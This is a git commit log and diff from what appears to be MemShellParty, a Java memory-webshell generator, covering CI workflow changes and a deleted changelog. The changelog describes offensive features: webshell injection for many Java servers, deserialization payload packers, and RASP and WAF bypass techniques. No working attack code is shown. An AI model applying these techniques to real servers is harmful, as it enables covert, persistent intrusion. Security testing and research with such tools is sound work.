ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
1395 changed files with 111352 additions and 23438 deletions
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args()
version = args.version
with open("../../CHANGELOG.md") as f:
with open("../../web/content/docs/changelog.mdx") as f:
lines = f.readlines()
for line in lines:
if line.startswith(f"## [{version}]"):
+18 -6
View File
@@ -6,15 +6,16 @@ on:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
@@ -27,6 +28,11 @@ jobs:
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
@@ -36,10 +42,16 @@ jobs:
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test
- name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar
- name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
with:
name: boot
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -1,66 +1,21 @@
name: Test
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
integration-test:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
@@ -72,7 +27,7 @@ jobs:
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
@@ -87,15 +42,16 @@ jobs:
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springmvc"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -113,7 +69,10 @@ jobs:
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+17
View File
@@ -47,6 +47,11 @@ jobs:
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
@@ -109,6 +114,18 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party
CONTEXT_PATH=/redqueen-memshell-party
push: true
tags: |
docker.io/reajason/memshell-party:redqueen
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
-224
View File
@@ -1,224 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
### Added
- 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() 为请求线程
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
### Fixed
- 修复 Apusic Listener 由于 response 获取错误导致不可用
- 修复 Jakarta WebSocket 无法注入
### Changed
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
- Gradle、Web 项目依赖更新
- UI 生成界面默认勾选缩小字节码
- UI 优化手机端选项布局,单行显示每个输入框
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
- 提取公共 Tailwind CSS 类名,简化表单组件代码
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
- 重构 Shell Generator 代码
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
### Added
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason#60
- 支持哥斯拉 WebSocket 内存马生成与测试
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
### Fixed
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
### Changed
- 命令执行改为反射调用 forkAndExec 以绕过 RASPJDK7+
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
### Added
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason#41
- 支持 CC3、CC4 反序列化 payload 打包方式
- 支持随机参数生成与默认选项(#50
### Changed
- 去除代码混淆相关代码
- 为了更好地在 MavenCentral 展示,重命名部分模块
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
- 移除 commons-codec 降低 boot 打包体积
- 升级 shadcn/ui 所有 component 代码
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成 by @ReaJason#49
- 支持命令回显 ASM Agent 内存马 by @ReaJason#51
- 支持简易的代码混淆 by @ReaJason#13
- 支持自动发布 DEV 分支代码 CD
### Changed
- 简化 Jetty 获取 Context 代码
- 优化 Dockerfile 减小镜像体积
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
### Added
- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
### Changed
- 简化 Valve 内存马代码
- 升级 Gradle 8.13
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added
- 支持缩小字节码 (移除调试信息) by @ReaJason
- 支持 Tomcat Jakarta WebSocket
### Fixed
- 修复自定义注入器类名不起作用
### Changed
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
### Fixed
- 修复 Tomcat WebSocket 注入报错,无法工作
### Changed
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
- 代码重构支持一处注册所有 Server 的 Shell 配置
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
### Added
- UI 中打包配置中添加 Loading 状态
### Fixed
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
### Added
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
- UI 增强手机端响应式,增强 i18n 显示 (#39)
### Fixed
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
- 支持 AntSword 内存马生成 by @ReaJason
- 添加 Java 反序列化其他 CB 版本 Payload 生成
### Changed
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
- 部分 UI 调整
### Fixed
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
- 支持 Suo5 内存马生成 by @ReaJason
### Changed
- 升级 TailWind CSS v4
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
### Fixed
